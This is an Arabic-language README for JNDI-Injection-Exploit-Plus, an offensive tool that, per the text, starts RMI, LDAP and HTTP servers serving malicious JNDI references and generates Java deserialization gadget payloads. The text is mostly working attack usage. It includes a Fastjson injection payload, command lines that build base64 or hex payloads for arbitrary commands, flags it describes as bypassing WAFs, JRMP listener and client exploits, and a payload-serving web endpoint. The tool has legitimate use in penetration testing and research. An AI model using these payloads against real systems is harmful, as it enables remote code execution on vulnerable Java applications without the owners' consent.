JNDI-Injection-Exploit-Plus

中文 README

الوصف

JNDI-Injection-Exploit-Plus هي أداة لتوليد روابط JNDI قابلة للاستخدام وتوفير خدمات خلفية عن طريق بدء تشغيل خادم RMI وخادم LDAP وخادم HTTP.

باستخدام هذه الأداة، يمكنك الحصول على روابط JNDI، ويمكنك إدراج هذه الروابط في POC الخاص بك لاختبار الثغرة.

على سبيل المثال، هذا هو Fastjson vul-poc:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

يمكننا استبدال "rmi://127.0.0.1:1099/Object" بالرابط الذي تم إنشاؤه بواسطة JNDI-Injection-Exploit-Plus لاختبار الثغرة.

علاوة على ذلك، يمكنك أيضًا استخدام JNDI-Injection-Exploit-Plus لتوليد أنواع base64/hex من الحمولات مثل ysoserial

أكثر من JNDI-Injection-Exploit

إن JNDI-Injection-Exploit أداة رائعة، هذه هي النسخة المطورة منها.

المزيد

1. المزيد من أدوات JNDI Remote Reference: (الإجمالي: 3)

• دعم JDK 6/7/8

2. المزيد من أدوات JNDI Local Reference: (الإجمالي: 4)

3. أداة Deserailization (الإجمالي: 75)

ملاحظة: المزيد من الأدوات (⬆️ ) من ysoserial، مرحبًا بالمزيد من PR! ^_^

4. توليد وتصدير الحمولات

مثل ysoserial.

يمكنك توليد حمولات إلغاء التسلسل مع إخراج من نوع Base64 أو HEX

5. الغلاف

بعض الأغلفة لتغليف بيانات إلغاء التسلسل.

• مثال

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. الدمج

إخفاء اسم الفئة لتجاوز WAF.

• مثال

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

المرجع: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

خدمة الويب لإرجاع أدوات إلغاء التسلسل

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar

POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}output={base64/hex}

ملاحظة: المعاملات wrapper و output اختيارية

الاستخدام

روابط JNDI

شغّل كالتالي:

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]

حيث:

• -C - الأمر الذي سيتم تنفيذه في ملف الفئة عن بُعد.

  (اختياري، الأمر الافتراضي هو "open /Applications/Calculator.app")

• -A - عنوان الخادم الخاص بك، قد يكون عنوان IP أو نطاق.

  (اختياري، العنوان الافتراضي هو عنوان أول واجهة شبكة)

نقاط للانتباه:

• تأكد من أن منافذ الخادم الخاص بك (1099، 1389، 8180) متاحة.

  أو يمكنك تغيير المنفذ الافتراضي في الفئة run.ServerStart.

• يتم تمرير الأمر الخاص بك إلى Runtime.getRuntime().exec() كمعاملات،

  لذا يجب التأكد من أن الأمر الخاص بك قابل للعمل في الطريقة exec().

  الأوامر في bash مثل "bash -c ...." تحتاج إلى إضافة علامات اقتباس مزدوجة.

حمولات إلغاء التسلسل

شغّل كالتالي:

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]

حيث:

• -C - الأمر الذي سيتم تنفيذه في ملف الفئة عن بُعد.

  (اختياري، الأمر الافتراضي هو "open /Applications/Calculator.app")

• -D - اسم أداة (Gadget) إلغاء التسلسل.

• -O - (اختياري) نوع إخراج إلغاء التسلسل، الافتراضي هو base64

استغلال إلغاء التسلسل

JRMP

• JRMPListener

java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc

• JRMPClient

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

أمثلة

روابط JNDI

عرض توضيحي محلي:

1. قم بتشغيل الأداة بهذه الطريقة:

   root@kitploit:~

   $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
   

   لقطة الشاشة:

   

2. افترض أننا حقنا روابط JNDI مثل rmi://ADDRESS/remoteExploit8 التي تم إنشاؤها في الخطوة 1 في تطبيق ضعيف يمكن مهاجمته عن طريق حقن JNDI.

   في هذا المثال، يبدو كالتالي:

   root@kitploit:~

   class Test{
       public static void main(String[] args) throws Exception{
           InitialContext ctx = new InitialContext();
           ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
       }
   }
   

   ثم عند تشغيل هذا الكود، سيتم تنفيذ الأمر،

   وسيتم طباعة السجل في shell:

   

لمزيد من الأمثلة: Test-JNDI-Injection-Exploit-Plus

حمولات إلغاء التسلسل

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

نتيجة إخراج Base64:

التثبيت

يمكننا اختيار إحدى الطريقتين للحصول على الـ jar.

1. قم بتنزيل أحدث jar من Realease.

2. استنساخ الكود المصدري محليًا وبنائه (يتطلب Java 1.8+ و Maven 3.x+).

   root@kitploit:~

   $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
   

   root@kitploit:~

   $ cd JNDI-Injection-Exploit-Plus
   

   root@kitploit:~

   $ mvn clean package -DskipTests
   

ملاحظة: ‼️ إذا تلقيت خطأ مثل "java.rmi.xxx does not exists"، فيجب عليك تعيين متغير البيئة JAVA_HOME.

إخلاء المسؤولية

جميع المعلومات والكود مقدمة لأغراض تعليمية و/أو اختبار أنظمتك الخاصة لهذه الثغرات.